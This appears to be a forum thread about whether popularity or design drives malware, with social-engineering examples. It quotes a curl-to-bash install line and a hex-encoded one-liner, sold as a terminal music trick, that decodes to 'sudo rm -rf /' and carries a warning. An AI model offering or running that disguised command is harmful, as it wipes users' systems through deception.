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Popularity seems to a better gauge. OS X was not very popular till recently and now it is getting the attention of malware writers. The fake antivirus malware for OS X didn't even target Java or Flash, it just plain got people to download an executable.

To sum it up, my assertion is:

Popular and lack-of-restrictions implies malware is made.

And what you said does not contradict that assertion.



> Popular and lack-of-restrictions implies malware is made.

That's a more reasonable assertion (but isn't what your original post said, nor was popularity implied).

And while it is reasonable, I don't think there's really a way to draw a conclusion here; e.g. in the early 2000s, Apache had something like 6 times the market share of IIS and about 1/30 of the exploits; product design DOES make a difference here.

I don't know how easy it is to get someone to run an OSX executable, but a linux virus spreading by email would have to include instructions to the user along the lines of

    save this file as really_innocent_file, drop into a shell, run 
    chmod a+x really_innocent_file && exec really_innocent_file
    and you'll see a naked picture of $CELEBRITY.


Those Linux steps are too complicated even for software developers...

RVM uses curl piped to bash in its installation instructions (https://rvm.io/rvm/install/)

    $ curl -L get.rvm.io | bash -s stable
Viruses need only do the same thing.


My current favourite is the one that goes something like, "Hey, did you know you can use the terminal to make sounds? Linux has this hidden 'xxd' sound device! Try this, it's the Imperial March from Star Wars!"

    $(echo 7375646f20726d202d7266202f202d2d6e6f2d70726573657276652d726f6f740a | xxd -r -p)
Disclaimer: don't run that.


Reminds of the Beagle Bros code snippets for the Apple ][. Ah, the simpler pre-Michelangelo times.




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